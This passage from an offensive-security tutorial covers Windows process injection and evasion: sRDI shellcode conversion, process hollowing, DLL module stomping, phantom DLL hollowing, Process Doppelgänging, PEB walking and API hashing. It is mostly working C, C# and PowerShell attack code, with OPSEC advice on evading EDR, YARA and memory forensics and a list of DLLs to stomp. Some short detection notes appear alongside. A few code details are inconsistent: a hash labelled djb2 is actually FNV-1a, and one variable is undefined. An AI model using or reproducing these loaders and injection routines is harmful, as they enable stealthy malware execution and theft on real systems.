What it means: sRDI (by monoxgas) extends Stephen Fewer's RDI to convert any DLL — even ones not compiled with a ReflectiveLoader export — into pure position-independent shellcode. The result is a standalone shellcode blob that loads the DLL from within itself. No need to modify the DLL source code.
6.1 sRDI Architecture
sRDI Blob Layout:
┌───────────────────────────────────────┐
│ Bootstrap shellcode (tiny) │ → jumps to DLL Loader
│ (position-independent, no imports) │
├───────────────────────────────────────┤
│ sRDI DLL Loader (ShellcodeRDI.dll │ → the actual PE loader as shellcode
│ compiled as PIC shellcode) │
├───────────────────────────────────────┤
│ Target DLL (raw bytes) │ → the DLL to be loaded
├───────────────────────────────────────┤
│ User data (optional extra payload) │ → passed to DLL's exported function
└───────────────────────────────────────┘
Flow:
Shellcode blob injected into memory
↓
Bootstrap runs → calls DLL Loader
↓
DLL Loader finds embedded DLL bytes (offset arithmetic)
↓
DLL Loader manually maps the embedded DLL
↓
DLL Loader resolves imports (PEB walk)
↓
DLL Loader calls DllMain (or a named export)
↓
User data passed to the export function
6.2 Installation and Usage
# ─── Clone and build sRDI ──────────────────────────────────────
git clone https://github.com/monoxgas/sRDI
cd sRDI
# Build ShellcodeRDI (the PE loader compiled as shellcode)
# Requires Visual Studio / MSVC build tools
# Open ShellcodeRDI.sln → Build → Release x64
# OR use the prebuilt bins/ directory
# ─── Python: Convert any DLL to shellcode ─────────────────────
cd sRDI/Python
python3 ShellcodeRDI.py
# Basic conversion: DLL → shellcode blob
python3 ConvertToShellcode.py TestDLL_x64.dll
# → Outputs: TestDLL_x64.bin (self-loading shellcode blob)
# With specific function call and optional user data
python3 ConvertToShellcode.py TestDLL_x64.dll \
--function RunAsShellcode \ # Export to call after DllMain
--parameter "10.10.10.10:4444" # String passed as user data
# → TestDLL_x64.bin (calls RunAsShellcode("10.10.10.10:4444") after load)
# ─── Python API usage ─────────────────────────────────────────
from ShellcodeRDI import *
dll_data = open("beacon.dll", "rb").read()
# Convert with flags
shellcode = ConvertToShellcode(
dll_data,
functionName="", # Optional: specific export to call
userData=b"", # Optional: data passed to the function
flags=0 # 0x1 = clear DLL headers after load
# 0x2 = store user data in .data section
)
# Write shellcode blob
open("beacon.bin", "wb").write(shellcode)
print(f"[+] Shellcode size: {len(shellcode)} bytes")
# ─── PowerShell: Convert + inject ────────────────────────────
Import-Module .\PowerShell\ConvertTo-Shellcode.ps1
Import-Module PowerSploit\CodeExecution\Invoke-Shellcode.ps1
# Convert DLL to shellcode
$shellcode = ConvertTo-Shellcode -File ".\TestDLL_x64.dll"
# Inject into current process (self-inject)
Invoke-Shellcode -Shellcode $shellcode
# Or: inject into remote process by PID
Invoke-Shellcode -Shellcode $shellcode -ProcessID 1234
6.3 Encode sRDI Blobs for Static Embedding
# Encode all sRDI blobs (hardcodes them into loader source files)
cd sRDI
python lib/Python/EncodeBlobs.py C:\path\to\sRDI
# Updates these files with the encoded blobs:
# [+] Updated Native/Loader.cpp → C/C++ embedded array
# [+] Updated DotNet/Program.cs → C# byte array
# [+] Updated Python/ShellcodeRDI.py → Python bytes
# [+] Updated PowerShell/ConvertTo-Shellcode.ps1 → PS base64
6.4 C# .NET Loader
// DotNetLoader.cs — Load sRDI converted DLL from C#
using System;
using System.IO;
using System.Runtime.InteropServices;
class DotNetLoader {
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize,
uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize,
IntPtr lpStartAddress, IntPtr lpParameter,
uint dwCreationFlags, out uint lpThreadId);
[DllImport("kernel32.dll")]
static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
static void Main(string[] args) {
// Read sRDI converted shellcode blob
byte[] shellcode = File.ReadAllBytes(args[0]);
// Allocate memory
IntPtr mem = VirtualAlloc(IntPtr.Zero, (uint)shellcode.Length,
0x3000, 0x40); // MEM_COMMIT|RESERVE, RWX
// Copy shellcode
Marshal.Copy(shellcode, 0, mem, shellcode.Length);
// Execute in new thread
uint tid;
IntPtr hThread = CreateThread(IntPtr.Zero, 0, mem,
IntPtr.Zero, 0, out tid);
WaitForSingleObject(hThread, 0xFFFFFFFF);
Console.WriteLine("[+] sRDI execution complete");
}
}
7. Process Hollowing (RunPE)
What it means: Create a legitimate process in a suspended state (e.g., svchost.exe), unmap its original code from memory using NtUnmapViewOfSection, then inject your own PE in its place. Resume the process — your payload runs under the trusted process's identity (PID, name, parent, token).
7.1 The 8-API-Call Attack Chain
Process Hollowing API sequence:
1. CreateProcess(..., CREATE_SUSPENDED) → Start notepad.exe suspended
2. ZwUnmapViewOfSection(remote, base) → Hollow out notepad's code
3. VirtualAllocEx(remote, preferred_base) → Allocate space for payload
4. WriteProcessMemory(remote, headers) → Write PE headers
5. WriteProcessMemory(remote, sections) → Write each section
6. VirtualProtectEx(remote, ...) → Set proper RX/RW permissions
7. GetThreadContext → SetThreadContext → Redirect EIP/RIP to payload
8. ResumeThread → Execute payload as svchost.exe
7.2 Full Process Hollowing Implementation (C)
// process_hollow.c — RunPE / Process Hollowing
#include <windows.h>
#include <stdio.h>
// NtUnmapViewOfSection signature (ntdll.dll)
typedef NTSTATUS(WINAPI* pNtUnmapViewOfSection)(HANDLE, PVOID);
BOOL hollow_process(const char* targetExe, BYTE* payloadPE) {
// ─── Step 1: Create target process in suspended state ────────
STARTUPINFOA si = { sizeof(si) };
PROCESS_INFORMATION pi = {0};
BOOL created = CreateProcessA(
targetExe, // Path to legitimate exe (e.g., notepad.exe)
NULL, NULL, NULL,
FALSE,
CREATE_SUSPENDED, // START SUSPENDED — don't let it run yet
NULL, NULL,
&si, &pi
);
if (!created) {
printf("[-] CreateProcess failed: %lu\n", GetLastError());
return FALSE;
}
printf("[+] Spawned suspended process: %s (PID: %lu)\n",
targetExe, pi.dwProcessId);
// ─── Parse the payload PE headers ────────────────────────────
PIMAGE_DOS_HEADER payDos = (PIMAGE_DOS_HEADER)payloadPE;
PIMAGE_NT_HEADERS payNt = (PIMAGE_NT_HEADERS)(payloadPE + payDos->e_lfanew);
DWORD sizeOfImage = payNt->OptionalHeader.SizeOfImage;
LPVOID preferredBase = (LPVOID)payNt->OptionalHeader.ImageBase;
// ─── Get current thread context (to find image base of target) ─
CONTEXT ctx = {0};
ctx.ContextFlags = CONTEXT_ALL;
GetThreadContext(pi.hThread, &ctx);
// On x64: RDX = PEB address (set by Windows before process starts)
// PEB.ImageBaseAddress is at PEB offset 0x10
PVOID remoteImageBase = NULL;
ReadProcessMemory(pi.hProcess,
(LPVOID)(ctx.Rdx + 0x10), // PEB.ImageBaseAddress
&remoteImageBase, sizeof(PVOID), NULL);
printf("[+] Remote image base (original): 0x%p\n", remoteImageBase);
// ─── Step 2: Unmap the original executable ───────────────────
pNtUnmapViewOfSection NtUnmapViewOfSection =
(pNtUnmapViewOfSection)GetProcAddress(
GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection"
);
NTSTATUS status = NtUnmapViewOfSection(pi.hProcess, remoteImageBase);
if (status != 0) {
printf("[-] NtUnmapViewOfSection failed: 0x%08X\n", status);
// Fallback: many implementations skip this and just overwrite
}
printf("[+] Original executable unmapped from remote process\n");
// ─── Step 3: Allocate memory in remote process ───────────────
LPVOID remoteBase = VirtualAllocEx(
pi.hProcess,
preferredBase, // Try to load at PE's preferred base
sizeOfImage,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
if (!remoteBase) {
// Preferred base failed — let OS decide
remoteBase = VirtualAllocEx(pi.hProcess, NULL, sizeOfImage,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
}
printf("[+] Allocated remote memory at: 0x%p\n", remoteBase);
// ─── Step 4: Write PE headers ─────────────────────────────────
WriteProcessMemory(pi.hProcess, remoteBase, payloadPE,
payNt->OptionalHeader.SizeOfHeaders, NULL);
// ─── Step 5: Write each section ──────────────────────────────
PIMAGE_SECTION_HEADER sections = IMAGE_FIRST_SECTION(payNt);
for (WORD i = 0; i < payNt->FileHeader.NumberOfSections; i++) {
if (sections[i].SizeOfRawData == 0) continue;
LPVOID remoteSectionAddr = (BYTE*)remoteBase + sections[i].VirtualAddress;
BYTE* localSectionData = payloadPE + sections[i].PointerToRawData;
WriteProcessMemory(pi.hProcess, remoteSectionAddr,
localSectionData, sections[i].SizeOfRawData, NULL);
printf("[+] Wrote section [%.8s] → remote 0x%p\n",
sections[i].Name, remoteSectionAddr);
}
// ─── Step 6: Fix relocations if base changed ──────────────────
if (remoteBase != preferredBase) {
printf("[*] Base mismatch — relocation fixup needed in remote process\n");
// For full implementation, read back each reloc block,
// patch it, write it back — or patch before writing sections
// (easier: patch in local copy of PE before WriteProcessMemory)
}
// ─── Step 7: Update PEB.ImageBaseAddress + redirect thread ───
// Update PEB to reflect new image base
WriteProcessMemory(pi.hProcess,
(BYTE*)ctx.Rdx + 0x10, // PEB.ImageBaseAddress
&remoteBase, sizeof(PVOID), NULL);
// Redirect RIP to payload entry point
DWORD entryRVA = payNt->OptionalHeader.AddressOfEntryPoint;
LPVOID remoteEntry = (BYTE*)remoteBase + entryRVA;
ctx.Rcx = (DWORD64)remoteEntry; // x64: RCX = entry point in thread context
SetThreadContext(pi.hThread, &ctx);
printf("[+] Redirected execution to: 0x%p (entry RVA: 0x%08X)\n",
remoteEntry, entryRVA);
// ─── Step 8: Resume thread ────────────────────────────────────
ResumeThread(pi.hThread);
printf("[+] Process hollowing complete — payload running as %s\n", targetExe);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return TRUE;
}
7.3 OPSEC Notes for Process Hollowing
[OPSEC] Advantages:
✅ Payload runs under legitimate process identity (notepad.exe, svchost.exe)
✅ Network connections attributed to trusted process
✅ PID belongs to a signed, trusted binary
✅ Works against many security tools that trust process identity
[DETECT] Detection signatures:
- CREATE_SUSPENDED → NtUnmapViewOfSection → VirtualAllocEx sequence (Sysmon)
- Process starts with no matching disk image (memory section ≠ file)
- PEB.ImageBaseAddress ≠ section base address
- GetThreadContext + SetThreadContext on a suspended process (Sysmon EventID 10)
- PE header at VirtualAllocEx region points to different PE than on disk
[OPSEC] Modern variant — use NtCreateSection/NtMapViewOfSection:
// Some EDRs don't hook NtCreateSection the same way as VirtualAllocEx
// REMCOS RAT (2024) documented using ZwCreateSection + ZwMapViewOfSection
// instead of VirtualAllocEx + WriteProcessMemory
8. DLL Hollowing (Module Stomping)
What it means: Instead of allocating new anonymous memory (which EDRs flag as "executable memory not backed by a file on disk"), load a legitimate DLL into the target process, then overwrite its .text section with your shellcode. Your payload now executes from within file-backed memory — the best kind of memory to hide in.
8.1 Why DLL Hollowing Beats RWX Memory
Standard Shellcode Injection:
─ VirtualAlloc → RWX memory region
─ Region is "private anonymous" (not backed by any file)
─ EDR memory scanner: "Executable private memory? Suspicious!"
─ Volatility malfind: "Private RWX region — malware artifact"
DLL Hollowing (Module Stomping):
─ LoadLibraryEx → maps legitimate_dll.dll (e.g., clrjit.dll)
─ Write shellcode into .text section of clrjit.dll in memory
─ Memory region: file-backed (clrjit.dll on disk)
─ EDR memory scanner: "Mapped clrjit.dll — legitimate"
─ Volatility: region backed by file → not flagged by default
─ Caveat: if EDR hashes .text content vs. on-disk file → detected
8.2 DLL Hollowing via Module Stomping (C)
// dll_hollow.c — Overwrite a legitimate DLL's .text section
// Target: pick a DLL that won't be loaded already, has large enough .text
// Good candidates: clrjit.dll, mscoree.dll, aadauthhelper.dll, urlmon.dll
#include <windows.h>
#include <stdio.h>
BOOL dll_hollow(const char* targetDll, BYTE* shellcode, SIZE_T scSize) {
// Step 1: Load the target DLL WITHOUT running its DllMain
// LOAD_LIBRARY_AS_IMAGE_RESOURCE: map as image, no code execution
// DONT_RESOLVE_DLL_REFERENCES: don't resolve imports (we don't want it to run)
HMODULE hDll = LoadLibraryExA(
targetDll,
NULL,
DONT_RESOLVE_DLL_REFERENCES // Load but DON'T execute DllMain
);
if (!hDll) {
printf("[-] Failed to load %s: %lu\n", targetDll, GetLastError());
return FALSE;
}
printf("[+] Loaded %s at base: 0x%p\n", targetDll, hDll);
// Step 2: Parse the DLL's PE headers (already mapped in memory)
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)hDll;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((BYTE*)hDll + dos->e_lfanew);
// Find the .text section (executable code section)
PIMAGE_SECTION_HEADER textSection = NULL;
PIMAGE_SECTION_HEADER sections = IMAGE_FIRST_SECTION(nt);
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++) {
if (memcmp(sections[i].Name, ".text", 5) == 0) {
textSection = §ions[i];
break;
}
}
if (!textSection) {
printf("[-] No .text section found in %s\n", targetDll);
return FALSE;
}
SIZE_T textSize = textSection->Misc.VirtualSize;
BYTE* textAddr = (BYTE*)hDll + textSection->VirtualAddress;
printf("[+] .text section: 0x%p, size: %zu\n", textAddr, textSize);
if (scSize > textSize) {
printf("[-] Shellcode (%zu bytes) too large for .text (%zu bytes)!\n",
scSize, textSize);
return FALSE;
}
// Step 3: Change .text section permissions from RX → RW
DWORD oldProtect;
VirtualProtect(textAddr, scSize, PAGE_READWRITE, &oldProtect);
// Step 4: Overwrite .text section with shellcode
memcpy(textAddr, shellcode, scSize);
// Step 5: Restore permissions to RX (executable, not writable)
DWORD dummy;
VirtualProtect(textAddr, scSize, PAGE_EXECUTE_READ, &dummy);
printf("[+] Shellcode written to .text section of %s\n", targetDll);
// Step 6: Execute shellcode from .text section
// Option A: Direct function call (if in same process)
((void(*)())textAddr)();
// Option B: Create thread at stomped section
// HANDLE hThread = CreateThread(NULL, 0,
// (LPTHREAD_START_ROUTINE)textAddr, NULL, 0, NULL);
// WaitForSingleObject(hThread, INFINITE);
return TRUE;
}
int main() {
// Example shellcode (NOP sled + INT3 for testing)
BYTE shellcode[] = { 0x90, 0x90, 0x90, 0xCC }; // NOP NOP NOP INT3
// Use a DLL that's not loaded yet (check: tasklist /m | grep target)
// Good candidates (typically not auto-loaded):
// - clrjit.dll (CLR JIT compiler — huge .text section)
// - aadauthhelper.dll
// - urlmon.dll (if not browsing)
dll_hollow("C:\\Windows\\System32\\clrjit.dll",
shellcode, sizeof(shellcode));
return 0;
}
8.3 Choosing the Right Target DLL
Good DLL Hollowing Targets:
DLL .text Size Notes
─────────────────────────────────────────────────────────────
clrjit.dll ~5MB .NET JIT compiler, rarely auto-loaded
mscoree.dll ~500KB .NET runtime, large .text
aadauthhelper.dll ~400KB Azure AD helper, very rarely loaded
urlmon.dll ~1MB URL Moniker, not loaded in many processes
wintrust.dll ~200KB Code signing, not always loaded
cryptsp.dll ~100KB Crypto provider
Bad DLL Hollowing Targets (avoid):
ntdll.dll → Loaded in EVERY process, EDR heavily monitors
kernel32.dll → Same, every process
user32.dll → Commonly loaded
any already-loaded DLL in target process → Overwriting active code = crash
[OPSEC] Check before use:
tasklist /m target_process.exe → See which DLLs are already loaded
Process Explorer → Modules tab → Verify target DLL not already there
9. Phantom DLL Hollowing
What it means: DLL Hollowing's weakness is that the DLL exists on disk — forensics can compare memory content vs. file content. Phantom DLL Hollowing (by Forrest Orr, CyberArk 2020) uses NTFS Transacted File Operations to create a virtual DLL that exists in a transaction but is never committed to disk. The section created from it is backed by this phantom file, so memory forensics sees a file-backed region — but the file doesn't exist on disk.
9.1 Phantom DLL Hollowing vs DLL Hollowing
DLL Hollowing Phantom DLL Hollowing
─────────────────────────────────────────────────────────────────
DLL on disk? Yes (real file) No (transacted, rolled back)
Section backed by? Real file on disk Phantom NTFS transaction
Memory type? File-backed (MR) File-backed (MR) — but no file!
EDR memory scan? Sees legitimate DLL Sees "file-backed" memory
Forensics check? File:Mem mismatch File doesn't exist — can't compare
Detection via file? Yes, compare hashes No, file was rolled back/never exists
9.2 NTFS Transaction API Overview
// Phantom DLL Hollowing uses NTFS transaction APIs (KTM - Kernel Transaction Manager)
// These create file operations that can be rolled back
// Key APIs:
// NtCreateTransaction() → Create a filesystem transaction
// NtCreateFile(txn) → Create a file in the context of the transaction
// NtWriteFile(txn) → Write data to the transacted file
// NtCreateSection(txn) → Create a section from the transacted file
// NtMapViewOfSection() → Map the section into a process
// NtRollbackTransaction() → Roll back → file never exists on disk
// Result: memory is backed by the phantom section (looks legitimate)
// but the file was never committed to disk
9.3 Phantom DLL Hollowing Implementation
// phantom_hollow.c — Simplified Phantom DLL Hollowing
// PoC based on Forrest Orr's research (CyberArk, 2020)
// Full PoC: https://github.com/forrest-orr/phantom-dll-hollower-poc
#include <windows.h>
#include <winternl.h>
#include <stdio.h>
// NtAPI typedefs (from ntdll, not in windows.h)
typedef NTSTATUS(NTAPI* pNtCreateTransaction)(
PHANDLE TransactionHandle, ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjAttr, LPGUID Uow, HANDLE TmHandle,
ULONG CreateOptions, ULONG IsolationLevel,
ULONG IsolationFlags, PLARGE_INTEGER Timeout,
PUNICODE_STRING Description
);
typedef NTSTATUS(NTAPI* pNtRollbackTransaction)(HANDLE, BOOLEAN);
typedef HANDLE (WINAPI* pCreateFileTransacted)(
LPCSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD,
HANDLE, HANDLE, PUSHORT, PVOID
);
BOOL phantom_hollow(BYTE* shellcode, SIZE_T scSize) {
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
HMODULE hKtmW32 = LoadLibraryA("KtmW32.dll");
// Resolve NtAPI functions
pNtCreateTransaction NtCreateTransaction =
(pNtCreateTransaction) GetProcAddress(hNtdll, "NtCreateTransaction");
pNtRollbackTransaction NtRollbackTransaction =
(pNtRollbackTransaction) GetProcAddress(hNtdll, "NtRollbackTransaction");
pCreateFileTransacted CreateFileTransacted =
(pCreateFileTransacted) GetProcAddress(GetModuleHandleA("kernel32.dll"),
"CreateFileTransactedA");
// Step 1: Create a filesystem transaction (KTM)
HANDLE hTransaction = NULL;
NtCreateTransaction(&hTransaction,
TRANSACTION_ALL_ACCESS,
NULL, NULL, NULL, 0, 0, 0, NULL, NULL);
printf("[+] Created NTFS transaction: 0x%p\n", hTransaction);
// Step 2: Create a file WITHIN the transaction
// This file will contain our malicious DLL bytes but never touch disk
HANDLE hFile = CreateFileTransacted(
"C:\\Windows\\System32\\phantom_target.dll", // Path (won't actually exist)
GENERIC_WRITE | GENERIC_READ,
0, NULL,
CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL,
hTransaction, // ← KEY: file is part of the transaction
NULL, NULL
);
// Step 3: Write a legitimate-looking DLL (or shellcode blob) to the transacted file
// In a real attack: write a DLL that contains your shellcode in its .text section
DWORD written;
WriteFile(hFile, shellcode, (DWORD)scSize, &written, NULL);
printf("[+] Wrote %d bytes to transacted file\n", written);
// Step 4: Create a section from the transacted file
HANDLE hSection = NULL;
LARGE_INTEGER maxSize = {0};
maxSize.QuadPart = scSize;
typedef NTSTATUS(NTAPI* pNtCreateSection)(
PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES,
PLARGE_INTEGER, ULONG, ULONG, HANDLE
);
pNtCreateSection NtCreateSection =
(pNtCreateSection)GetProcAddress(hNtdll, "NtCreateSection");
NtCreateSection(&hSection,
SECTION_ALL_ACCESS,
NULL,
&maxSize,
PAGE_EXECUTE_READWRITE,
SEC_IMAGE, // SEC_IMAGE = treat as PE image
hFile);
printf("[+] Created section from transacted file: 0x%p\n", hSection);
// Step 5: Roll back the transaction → file NEVER commits to disk!
NtRollbackTransaction(hTransaction, TRUE);
CloseHandle(hTransaction);
printf("[+] Transaction rolled back — file never hit disk!\n");
// Step 6: Map the section into current (or remote) process
// The section still exists even though the transaction was rolled back
// (the section was created from the file before rollback)
PVOID baseAddr = NULL;
SIZE_T viewSize = 0;
typedef NTSTATUS(NTAPI* pNtMapViewOfSection)(
HANDLE, HANDLE, PVOID*, ULONG_PTR, SIZE_T,
PLARGE_INTEGER, PSIZE_T, ULONG, ULONG, ULONG
);
pNtMapViewOfSection NtMapViewOfSection =
(pNtMapViewOfSection)GetProcAddress(hNtdll, "NtMapViewOfSection");
NtMapViewOfSection(hSection,
GetCurrentProcess(),
&baseAddr,
0, 0, NULL,
&viewSize,
2, // ViewUnmap
0,
PAGE_EXECUTE_READWRITE);
printf("[+] Mapped phantom section at: 0x%p\n", baseAddr);
printf("[+] Memory is 'file-backed' but file doesn't exist on disk!\n");
// Step 7: Execute from phantom section
((void(*)())baseAddr)();
CloseHandle(hFile);
CloseHandle(hSection);
return TRUE;
}
[DETECT] Detection gap: Phantom DLL Hollowing exploits the fact that most memory forensics tools only check if memory is "file-backed" — not if the file still exists on disk. Tools like Moneta and pe-sieve can detect the discrepancy between in-memory content and on-disk file content.
10. Process Doppelgänging
What it means: Introduced at Black Hat Europe 2017, Process Doppelgänging uses NTFS Transactions to create a "phantom process" — start an executable whose image is loaded from a transacted (never-committed) file. Windows process creation APIs are designed to use the kernel's own image loading, so the resulting process inherits all the legitimacy markers of a real process, but runs a completely different PE.
10.1 Doppelgänging vs. Hollowing
Process Hollowing:
Real process created → original image loaded → unmapped → replaced
Problem: initial image load artifacts, NtUnmapViewOfSection visible
Process Doppelgänging:
No real process ever runs — directly create process from transacted image
The process is born running the malicious image
No "unmap + replace" step → cleaner creation artifacts
Steps:
1. Open a transaction (KTM)
2. Create/open a legitimate .exe within the transaction
3. Overwrite it with malicious PE bytes (in transaction only)
4. Create a section from the transacted file (NtCreateSection + SEC_IMAGE)
5. Create a process from the section (NtCreateProcessEx)
6. Set up initial thread context (entry point, PEB, stack)
7. Rollback transaction — malicious file never hits disk
8. Create thread and resume
10.2 Doppelgänging Code Skeleton
// doppelganging_skeleton.c — High-level flow
// Note: Full implementation requires undocumented NtCreateProcessEx
// Reference: github.com/hasherezade/process_doppelganging
#include <windows.h>
#include <winternl.h>
typedef NTSTATUS(NTAPI* pNtCreateProcessEx)(
PHANDLE ProcessHandle, ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes, HANDLE ParentProcess,
ULONG Flags, HANDLE SectionHandle,
HANDLE DebugPort, HANDLE ExceptionPort, BOOLEAN InJob
);
BOOL doppelgang(const char* legitimateExePath, BYTE* maliciousPE) {
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
// Step 1: Create NTFS transaction
HANDLE hTxn = NULL;
// (Same NtCreateTransaction as in phantom hollow)
// Step 2: Open legitimate exe inside transaction
HANDLE hFile = CreateFileTransactedA(
legitimateExePath, // e.g., "C:\\Windows\\System32\\notepad.exe"
GENERIC_WRITE | GENERIC_READ | SYNCHRONIZE,
0, NULL, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL, hTxn, NULL, NULL
);
// Step 3: Overwrite file with malicious PE (still within transaction)
DWORD written;
SetFilePointer(hFile, 0, NULL, FILE_BEGIN);
WriteFile(hFile, maliciousPE, maliciousPESize, &written, NULL);
// Step 4: Create section from modified transacted file
HANDLE hSection = NULL;
pNtCreateSection NtCreateSection =
(pNtCreateSection)GetProcAddress(hNtdll, "NtCreateSection");
NtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, NULL,
PAGE_READONLY, SEC_IMAGE, hFile);
// Step 5: Rollback transaction → malicious file never persists on disk
// (But section remains valid — it was created before rollback)
pNtRollbackTransaction NtRollbackTransaction =
(pNtRollbackTransaction)GetProcAddress(hNtdll, "NtRollbackTransaction");
NtRollbackTransaction(hTxn, TRUE);
CloseHandle(hTxn);
// Step 6: Create process from the section (not from file!)
HANDLE hProcess = NULL;
pNtCreateProcessEx NtCreateProcessEx =
(pNtCreateProcessEx)GetProcAddress(hNtdll, "NtCreateProcessEx");
NtCreateProcessEx(&hProcess,
PROCESS_ALL_ACCESS,
NULL,
GetCurrentProcess(), // Parent process
0x4, // Inherit handles flag
hSection, // ← The key: section from phantom file
NULL, NULL, FALSE);
// Step 7: Set up thread, redirect execution (similar to process hollowing)
// (Requires RTL_USER_PROCESS_PARAMETERS setup, PEB initialization, etc.)
// Step 8: Create thread and execute
HANDLE hThread = NULL;
// NtCreateThreadEx(&hThread, ...) for newer OS
printf("[+] Doppelgänging complete — payload runs as %s\n", legitimateExePath);
return TRUE;
}
[DETECT] Detection notes: Windows Defender and many EDRs now detect Process Doppelgänging. Key signatures: NtCreateTransaction + CreateFileTransacted + NtCreateSection(SEC_IMAGE) + NtRollbackTransaction in sequence. PatchGuard in kernel mode also limits what KTM-based techniques can do on modern Windows 11.
11. PEB Walking — Finding APIs Without Imports
What it means: Reflective loaders (especially ReflectiveLoader) cannot have any imports — their IAT isn't resolved yet. To bootstrap themselves, they must find kernel32.dll and ntdll.dll functions by manually walking the Process Environment Block (PEB) module list and parsing export tables. This is also a general anti-detection technique (avoids having obvious API imports).
11.1 PEB Walk (x64 — C)
// peb_walk.c — Find module bases and resolve exports without GetProcAddress
#include <windows.h>
#include <stdint.h>
#include <string.h>
// Hash a function name to avoid storing plaintext strings (anti-YARA)
DWORD hash_string(const char* str) {
DWORD hash = 0xDEADBEEF;
while (*str) {
hash = ((hash << 5) | (hash >> 27)) ^ *str++;
}
return hash;
}
// Walk the PEB to find a module base by its DLL name hash
HMODULE peb_find_module(const wchar_t* targetName) {
#ifdef _WIN64
// On x64: GS segment register offset 0x60 = PEB address
PPEB peb = (PPEB)__readgsqword(0x60);
#else
// On x86: FS segment register offset 0x30 = PEB address
PPEB peb = (PPEB)__readfsdword(0x30);
#endif
// Walk the InLoadOrderModuleList
PLIST_ENTRY head = &peb->Ldr->InLoadOrderModuleList;
PLIST_ENTRY curr = head->Flink;
while (curr != head) {
LDR_DATA_TABLE_ENTRY* entry =
CONTAINING_RECORD(curr, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);
if (entry->BaseDllName.Buffer != NULL) {
// Case-insensitive compare
if (_wcsicmp(entry->BaseDllName.Buffer, targetName) == 0) {
return (HMODULE)entry->DllBase;
}
}
curr = curr->Flink;
}
return NULL;
}
// Find a function export by name from a module (manual GetProcAddress)
FARPROC manual_get_proc(HMODULE hModule, const char* funcName) {
if (!hModule) return NULL;
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)hModule;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((BYTE*)hModule + dos->e_lfanew);
DWORD exportRVA = nt->OptionalHeader
.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]
.VirtualAddress;
if (!exportRVA) return NULL;
PIMAGE_EXPORT_DIRECTORY exp =
(PIMAGE_EXPORT_DIRECTORY)((BYTE*)hModule + exportRVA);
DWORD* names = (DWORD*)((BYTE*)hModule + exp->AddressOfNames);
WORD* ordinals = (WORD*) ((BYTE*)hModule + exp->AddressOfNameOrdinals);
DWORD* funcs = (DWORD*)((BYTE*)hModule + exp->AddressOfFunctions);
for (DWORD i = 0; i < exp->NumberOfNames; i++) {
char* name = (char*)((BYTE*)hModule + names[i]);
if (strcmp(name, funcName) == 0) {
return (FARPROC)((BYTE*)hModule + funcs[ordinals[i]]);
}
}
return NULL;
}
// ─── Usage Example ──────────────────────────────────────────────
void demo_peb_walk() {
// Find kernel32.dll without LoadLibrary
HMODULE hKernel32 = peb_find_module(L"kernel32.dll");
printf("[+] kernel32.dll found at: 0x%p\n", hKernel32);
// Find VirtualAlloc without GetProcAddress
typedef LPVOID(WINAPI* pVA)(LPVOID, SIZE_T, DWORD, DWORD);
pVA fnVA = (pVA)manual_get_proc(hKernel32, "VirtualAlloc");
printf("[+] VirtualAlloc at: 0x%p\n", fnVA);
// Now use it
LPVOID mem = fnVA(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
printf("[+] Allocated memory at: 0x%p\n", mem);
}
11.2 API Hashing (Anti-YARA String Detection)
// api_hashing.c — Resolve APIs by hash (no plaintext function name strings)
// Prevents YARA rules matching "VirtualAlloc", "CreateThread" strings in binary
// djb2-style hash used by many malware families
DWORD api_hash(const char* name) {
DWORD h = 0x811C9DC5; // FNV-1a seed
while (*name) {
h ^= (BYTE)*name++;
h *= 0x01000193;
}
return h;
}
// Resolve function by hash instead of name
FARPROC resolve_by_hash(HMODULE hModule, DWORD targetHash) {
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)hModule;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((BYTE*)hModule + dos->e_lfanew);
PIMAGE_EXPORT_DIRECTORY exp = (PIMAGE_EXPORT_DIRECTORY)(
(BYTE*)hModule + nt->OptionalHeader
.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]
.VirtualAddress
);
DWORD* names = (DWORD*)((BYTE*)hModule + exp->AddressOfNames);
WORD* ordinals = (WORD*) ((BYTE*)hModule + exp->AddressOfNameOrdinals);
DWORD* funcs = (DWORD*)((BYTE*)hModule + exp->AddressOfFunctions);
for (DWORD i = 0; i < exp->NumberOfNames; i++) {
char* name = (char*)((BYTE*)hModule + names[i]);
if (api_hash(name) == targetHash) {
return (FARPROC)((BYTE*)hModule + funcs[ordinals[i]]);
}
}
return NULL;
}
// Pre-compute hashes offline:
// api_hash("VirtualAlloc") → 0x91AFCA54 (example)
// api_hash("CreateThread") → 0x7C0017A5 (example)
// api_hash("LoadLibraryA") → 0xEC0E4E8E (example)
// api_hash("GetProcAddress") → 0x7C0DFCAA (example)
// Usage — no plaintext strings in binary:
#define HASH_VIRTUAL_ALLOC 0x91AFCA54
#define HASH_CREATE_THREAD 0x7C0017A5
HMODULE hK32 = peb_find_module(L"kernel32.dll");
typedef LPVOID(WINAPI* pVA)(LPVOID, SIZE_T, DWORD, DWORD);
